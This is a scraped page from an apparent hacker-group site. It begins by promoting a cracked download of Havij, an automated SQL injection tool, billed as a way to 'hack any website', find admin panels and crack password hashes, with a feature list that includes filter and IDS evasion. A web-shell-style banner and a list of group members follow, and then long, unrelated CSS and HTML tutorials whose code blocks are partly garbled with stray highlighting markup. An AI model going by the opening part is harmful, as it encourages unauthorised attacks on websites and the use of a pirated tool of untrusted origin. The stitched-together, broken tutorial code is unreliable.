Download New Havij 2017 Working 100% With cracked no virus etc content

Hack Any Website Using Havij, also you can find admin penal using havij, crack hash using havij

download cracked havij 2017

Download havij direct link without virus

Download cracked version Havij 100% Working

Download Havij Directly no servery etc

100% Working Havij For Sql injection

like us on Facebook

Havij PRO (SQL Injection) : is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page. It can take advantage of a vulnerable web application. By using this tool, you can perform back end database fingerprinting, retrieve DBMS login names and password hashes, dump tables and columns, fetch data from the database, execute SQL statements against the server, and even access the underlying file system and execute operating system shell commands.

Havij PRO Supported Databases :

  • MsSQL Blind
  • MySQL time based
  • MySQL union based
  • MySQL Blind
  • MySQL error based
  • MySQL time based
  • Oracle union based
  • Oracle error based
  • PostgreSQL union based
  • MsAccess union based
  • MsAccess Blind
  • Sybase (ASE)
  • Sybase (ASE) Blind
  • HTTPS support
  • Multi-threading
  • Proxy support
  • MsSQL 2000/2005 with error
  • MsSQL 2000/2005 no error union based
  • Automatic database server detection
  • Automatic type detection (string or integer)
  • Automatic keyword detection (finding difference between the positive and negative response)
  • Automatic scan of all parameters.
  • Trying different injection syntaxes
  • Options for replacing space by /**/,+,… against IDS or filters
  • Avoids using strings (bypassing magic_quotes and similar filters)

just Download  Directly

Download

click on skip ad you will get direct download

Click Here For Download

Click Here

Hackers List :

?�?

®
Uname : Hackers Third Eye Kashmir : http://www.hackersthirdeye.com
Users : 1337( kthornal ) Group: Hackers ( kthornal )
Hacker Server : Hackers Third Eye Server
Useful : SMS, Php, MAil, learm hack, html, , phonr hack, website hack,
Disabled functions : dl
Cwd : /home1/kthornal/public_html/dir/logs/ drwxr-xr-x [ home ]
Server IP
Client IP
HDD
Free
PHP
Safe Mode
Domains
: anonymous
: 192.168.*.*
: 1833.15 GB
: 348.49 GB (19%)
: 5.4.45 [ phpinfo ]
: OFF
: CANT READ named.conf

Welcome HAckers Third Eye Members

Hackers Third Eye Kashmir Owned By Shahid Malla
WE ARE:|| ~~~We Are best |Shahid Malla | Black Hat Kashmir(Iqhlak)| (Master Mind 1337(ishfaq)| Adil 808 || 31337 Aamir| Kashmiri Spy (Aijaz) | Hide Man | Muhammad owais | Step Back | Cracker Man | sm spy | saba jan | anti-spy | Be Careful | Master Mind | no password | master Kashmiri Spy (Aijaz) | hide hacker |Kashmiri spy | xxor | back one | Hanter Killer | Spy Eye|

,

How to apply CSS border-bottom-style | Examples

Example :

HackersThirdEye

 

Set the style of the bottom border:

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html>
<head>
<style>
p {border-style: solid;}
p.none {border-bottom-style: none;}
p.dotted {border-bottom-style: dotted;}
p.dashed {border-bottom-style: dashed;}
p.solid {border-bottom-style: solid;}
p.double {border-bottom-style: double;}
p.groove {border-bottom-style: groove;}
p.ridge {border-bottom-style: ridge;}
p.inset {border-bottom-style: inset;}
p.outset {border-bottom-style: outset;}
</style>
</head>
<body>
<p class="none">No bottom border.</p>
<p class="dotted">A dotted bottom border.</p>
<p class="dashed">A dashed bottom border.</p>
<p class="solid">A solid bottom border.</p>
<p class="double">A double bottom border.</p>
<p class="groove">A groove bottom border.</p>
<p class="ridge">A ridge bottom border.</p>
<p class="inset">An inset bottom border.</p>
<p class="outset">An outset bottom border.</p>
</body>
</html>

Definition and Usage  :

The border-bottom-style property sets the style of an element’s bottom border.

Default value: none
Inherited: no
Animatable: no. Read about animatable
Version: CSS1
JavaScript syntax: object.style.borderBottomStyle=”dotted”

Property Values :

Value Description
none Specifies no border. This is default
hidden The same as “none”, except in border conflict resolution for table elements
dotted Specifies a dotted border
dashed Specifies a dashed border
solid Specifies a solid border
double Specifies a double border
groove Specifies a 3D grooved border. The effect depends on the border-color value
ridge Specifies a 3D ridged border. The effect depends on the border-color value
inset Specifies a 3D inset border. The effect depends on the border-color value
outset Specifies a 3D outset border. The effect depends on the border-color value
initial Sets this property to its default value. Read about initial
inherit Inherits this property from its parent element. Read about inherit

Related Pages :

CSS tutorial: CSS Border

CSS reference: border-bottom property

HTML DOM reference: borderBottomStyle property

 

How to create CSS Box Models | Examples | Videos

The CSS Box Model :

  • All HTML elements can be considered as boxes. In CSS, the term “box model” is used when talking about design and layout.
  • The CSS box model is essentially a box that wraps around HTML elements, and it consists of: margins, borders, padding, and the actual content.
  • The box model allows us to add a border around elements, and to define space between elements.

The image below illustrates the box model:

Explanation of the different parts:

  • Content – The content of the box, where text and images appear
  • Padding – Clears an area around the content. The padding is transparent
  • Border – A border that goes around the padding and content
  • Margin – Clears an area outside the border. The margin is transparent

Example :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-color: lightgrey;
width: 300px;
padding: 25px;
border: 25px solid navy;
margin: 25px;
}
</style>
</head>
<body>

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

</body>
</html>

Width and Height of an Element :

  • In order to set the width and height of an element correctly in all browsers, you need to know how the box model works.

Example :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<style>
div {
width: 320px;
padding: 10px;
border: 5px solid gray;
margin: 0;
}
</style>
</head>
<body>
<img src="klematis4_big.jpg" width="350" height="263" alt="Klematis">

The picture above is 350px wide. The total width of this element is also 350px.

</body>
</html>

Let’s do the math:
320px (width)
+ 20px (left + right padding)
+ 10px (left + right border)
+ 0px (left + right margin)
= 350px

The total width of an element should be calculated like this:

  • Total element width = width + left padding + right padding + left border + right border + left margin + right margin
  • The total height of an element should be calculated like this:
  • Total element height = height + top padding + bottom padding + top border + bottom border + top margin + bottom margin

Browsers Compatibility Issue :

  • Internet Explorer 8 and earlier versions, include padding and border in the width property.
  • To fix this problem, add a <!DOCTYPE html> to the HTML page.

Example : 1

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-color: lightblue;
}
</style>
</head>
<body>

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

</body>
</html>

Example :2

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-color: lightblue;
width: 200px;
}
</style>
</head>
<body>

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

</body>
</html>

Example : 3

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-color: lightblue;
width: 200px;
padding: 25px;
}
</style>
</head>
<body>

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

</body>
</html>

Example : 4

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-color: lightblue;
width: 200px;
padding: 25px;
border: 25px solid navy;
}
</style>
</head>
<body>

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

</body>
</html>

How to create simple CSS box in HTML. :

 

How to Create in CSS3 Multiple Colums & Propertys |count | column-fill |gap |column-rule | rule-color |rule-style

CSS3 Multi-column Layout :

  • The CSS3 multi-column layout allows easy definition of multiple columns of text – just like in newspapers:
  • Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum.

CSS3 Multi-column Properties :

  • In this chapter you will learn about the following multi-column properties:
  • column-count
  • column-gap
  • column-rule-style
  • column-rule-width
  • column-rule-color
  • column-rule
  • column-span
  • column-width

CSS3 Create Multiple Columns :

  • The column-count property specifies the number of columns an element should be divided into.
  • The following example will divide the text in the
    element into 3 columns:

Example :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.newspaper {
 -webkit-column-count: 3; /* Chrome, Safari, Opera */
 -moz-column-count: 3; /* Firefox */
 column-count: 3;
}

Note: Internet Explorer 9, and earlier versions, does not support the column-count property.

"newspaper">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum.

</body>
</html>

 

CSS3 Specify the Gap Between Columns :

  • The column-gap property specifies the gap between the columns.
  • The following example specifies a 40 pixels gap between the columns:

Example :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<style>
.newspaper {
 -webkit-column-count: 3; /* Chrome, Safari, Opera */
 -moz-column-count: 3; /* Firefox */
 column-count: 3;
 -webkit-column-gap: 40px; /* Chrome, Safari, Opera */
 -moz-column-gap: 40px; /* Firefox */
 column-gap: 40px;
}
</style>
</head>
<body>
<p><b>Note:</b> Internet Explorer 9, and earlier versions, does not support the column-gap property.</p>

"newspaper">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum.

</body>
</html>

 

CSS3 Column Rules :

  • The column-rule-style property specifies the style of the rule between columns:

Example:

example-filename.php
1
2
3
4
<span class="highATT">-webkit-column-rule-style:</span><span class="highVAL"> solid;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
    <span class="highATT">-moz-column-rule-style:</span><span class="highVAL"> solid;</span> <span class="highCOM">/* Firefox */</span>
    <span class="highATT">column-rule-style:</span><span class="highVAL"> solid;</span>
}

Specify How Many Columns an Element Should Span :

  • The column-span property specifies how many columns an element should span across.
  • The following example specifies that the <h2> element should span across all columns:

Example :

example-filename.php
1
2
3
4
5
6
</pre>
</div>
<div class="example_code notranslate cssHigh"><span class="highELE">h2 </span>{
<span class="highATT">-webkit-column-span:</span><span class="highVAL"> all;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">column-span:</span><span class="highVAL"> all;</span>
}

Specify The Column Width :

  • The column-width property specifies a suggested, optimal width for the columns.
  • The following example specifies that the suggested, optimal width for the columns should be 100px:

Example :

example-filename.php
1
2
3
4
div </span>{
<span class="highATT">-webkit-column-width:</span><span class="highVAL"> 100px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">column-width:</span><span class="highVAL"> 100px;</span>
}

CSS3 Multi-columns Properties :

  • The following table lists all the multi-columns properties: 
Property Description
column-count Specifies the number of columns an element should be divided into
column-fill Specifies how to fill columns
column-gap Specifies the gap between the columns
column-rule A shorthand property for setting all the column-rule-* properties
column-rule-color Specifies the color of the rule between columns
column-rule-style Specifies the style of the rule between columns
column-rule-width Specifies the width of the rule between columns
column-span Specifies how many columns an element should span across
column-width Specifies a suggested, optimal width for the columns
columns A shorthand property for setting column-width and column-count

More Examples :

Column-gap :

Divide the text in a <div> element into three columns, and specify a 40 pixels gap between the columns.


example-filename.php
1
2
3
4
5
6
7
8
9
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
}

Column-rule :

Specify the width, style and color of the rule between columns.


example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
<span class="highATT">-webkit-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span>
}

CSS3 column-fill Property :

More Examples :

Column-count :

Divide the text in a <div> element into three columns:


example-filename.php
1
2
3
4
5
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
}

Column-gap :

Divide the text in a <div> element into three columns, and specify a 40 pixels gap between the columns.


example-filename.php
1
2
3
4
5
6
7
8
9
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
}

Column-rule :

Specify the width, style and color of the rule between columns.


example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
<span class="highATT">-webkit-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span>
}

CSS3 column-gap Property :

More Examples :

Column-count :

Divide the text in a <div> element into three columns:


example-filename.php
1
2
3
4
5
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
}

Column-rule :

Specify the width, style and color of the rule between columns.


example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
<span class="highATT">-webkit-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span>
}

CSS3 column-rule Property :

Property Values L

Value Description
column-rule-width Sets the width of the rule between columns. Default value is medium
column-rule-style Sets the style of the rule between columns. Default value is none
column-rule-color Sets the color of the rule between columns. Default value is the color of the element
initial Sets this property to its default value. Read about initial
inherit Inherits this property from its parent element. Read about inherit

More Examples :

Column-count :

Divide the text in a <div> element into three columns:=


example-filename.php
1
2
3
4
5
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
}

Column-gap :

Divide the text in a <div> element into three columns, and specify a 40 pixels gap between the columns.


example-filename.php
1
2
3
4
5
6
7
8
9
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
}

CSS3 column-rule-color Property :

Definition and Usage

The column-rule-color property specifies the color of the rule between columns.

Default value: The current color of the element
Inherited: no
Animatable: yes. Read about animatableTry it
Version: CSS3
JavaScript syntax: object.style.columnRuleColor=”#0000ff”

More Examples  :

Column-count :

Divide the text in a <div> element into three columns:


example-filename.php
1
2
3
4
5
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
}

Column-gap :

Divide the text in a <div> element into three columns, and specify a 40 pixels gap between the columns.


example-filename.php
1
2
3
4
5
6
7
8
9
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
}

CSS3 column-rule-style Property :

More Examples :

Column-count :

Divide the text in a <div> element into three columns:


example-filename.php
1
2
3
4
5
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
}

Column-gap :

Divide the text in a <div> element into three columns, and specify a 40 pixels gap between the columns.


example-filename.php
1
2
3
4
5
6
7
8
9
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
}

Column-rule :

Specify the width, style and color of the rule between columns.


example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
div </span>{
<span class="highATT">-webkit-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-count:</span><span class="highVAL"> 3;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-count:</span><span class="highVAL"> 3;</span>
<span class="highATT">-webkit-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-gap:</span><span class="highVAL"> 40px;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-gap:</span><span class="highVAL"> 40px;</span>
<span class="highATT">-webkit-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Chrome, Safari, Opera */</span>
<span class="highATT">-moz-column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span> <span class="highCOM">/* Firefox */</span>
<span class="highATT">column-rule:</span><span class="highVAL"> 4px outset #ff00ff;</span>
}

HTML5 Text Formatting : This text is bold This text is italic This is superscript HTML Formatting Elements

Text Formatting :

http://www.hackersthirdeye.com

This text is boldThis text is italic

This is superscript

HTML Formatting Elements

  • In the previous chapter, you learned about HTML styling, using the HTML style attribute.
  • HTML also defines special elements, for defining text with a special meaning.
  • HTML uses elements like <b> and <i> for formatting output, like bold or italic text.
  • Formatting elements were designed to display special types of text:
  1. Bold text
  2. Important text
  3. Italic text
  4. Emphasized text
  5. Marked text
  6. Small text
  7. Deleted text
  8. Inserted text
  9. Subscripts
  10. Superscripts

HTML Bold and Strong Formatting :

The HTML <b> element defines bold text, without any extra importance.

Example :1

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<p>This text is normal.</p>
<p><b>This text is bold.</b></p>
</body>
</html>

Example : 2

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<p>This text is normal.</p>
<p><strong>This text is strong.</strong></p>
</body>
</html>

HTML Italic and Emphasized Formatting :

The HTML <i> element defines italic text, without any extra importance.

Example :

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<p>This text is normal.</p>
<p><i>This text is italic.</i></p>
</body>
</html>

Example :

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<p>This text is normal.</p>
<p><em>This text is emphasized.</em></p>
</body>
</html>

HTML Small Formatting :

The HTML <small> element defines small text:

Example :

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<h2>HTML <small>Small</small> Formatting</h2>
</body>
</html>

HTML Marked Formatting :

The HTML <mark> element defines marked or highlighted text:

Example:

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<h2>HTML <mark>Marked</mark> Formatting</h2>
</body>
</html>

HTML Deleted Formatting :

The HTML <del> element defines deleted (removed) of text.

Example:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<p>The del element represent deleted (removed) text.</p>
<p>My favorite color is <del>blue</del> red.</p>
</body>
</html>

HTML Inserted Formatting :

The HTML <ins> element defines inserted (added) text.

Example :

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<p>The ins element represent inserted (added) text.</p>
<p>My favorite <ins>color</ins> is red.</p>
</body>
</html>

HTML Subscript Formatting :

The HTML <sub> element defines subscripted text.

Example : 

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<p>This is <sub>subscripted</sub> text.</p>
</body>
</html>

HTML Superscript Formatting  :

The HTML <sup> element defines superscripted text.

Example :

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<p>This is <sup>superscripted</sup> text.</p>
</body>
</html>

Test Yourself with Exercises! :

Example :  1

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<h1>What Does WWF Do?</h1>
<p>WWF's mission is to stop the degradation of our planet's natural environment.</p>
</body>
</html>

Example : 2

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<h1>Tokyo</h1>
<p>Tokyo is the capital of Japan, the center of the Greater Tokyo Area, and the most populous metropolitan area in the world.</p>
</body>
</html>

Example :  3

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<p>HTML is FUN to learn!</p>
</body>
</html>

Example :  4

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<p>H2O is the scientific term for water.</p>
</body>
</html>

Example :  5

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<p>My favorite color is blue red.</p>
</body>
</html>

HTML Text Formatting Elements   :

Tag Description
<b> Defines bold text
<em> Defines emphasized text
<i> Defines italic text
<small> Defines smaller text
<strong> Defines important text
<sub> Defines subscripted text
<sup> Defines superscripted text
<ins> Defines inserted text
<del> Defines deleted text
<mark> Defines marked/highlighted text

 

How to Designs HTML Form and Examples

  • Let’s face it, HTML forms are integral part of the web, it’s a powerful and crucial tool for interacting with users. But without some styling and positioning, forms just look awful! So, how do you make it appealing and presentable? This is where the CSS comes into play. In this article I’ve compiled 10 Form styles which you can directly copy and use it on your website projects.

    These forms look great on all modern browsers, but may require some tweaking on old browsers. Some forms here do not have labels, they rely on HTML5 placeholder attribute, unfortunately older browsers do not support this. So, if you are worried about it, you can use placeholder alternatives such asPlaceholders.js.

Form Style 1 :

  • This is the clean CSS contact form layout. It has no background and comes with bold labels, light blue button and soft box-shadow on focus for input fields.

HTML – CODE :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<<span class="kw2">form</span>></span>
<span class="sc2"><<span class="kw2">ul</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-1"</span>></span>
<span class="sc2"><<span class="kw2">li</span>><<span class="kw2">label</span>></span>Full Name <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">label</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field1"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"field-divided"</span> placeholder<span class="sy0">=</span><span class="st0">"First"</span> <span class="sy0">/</span>></span><span class="sc1">&nbsp;</span><span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field2"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"field-divided"</span> placeholder<span class="sy0">=</span><span class="st0">"Last"</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">li</span>></span>
<span class="sc2"><<span class="kw2">label</span>></span>Email <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
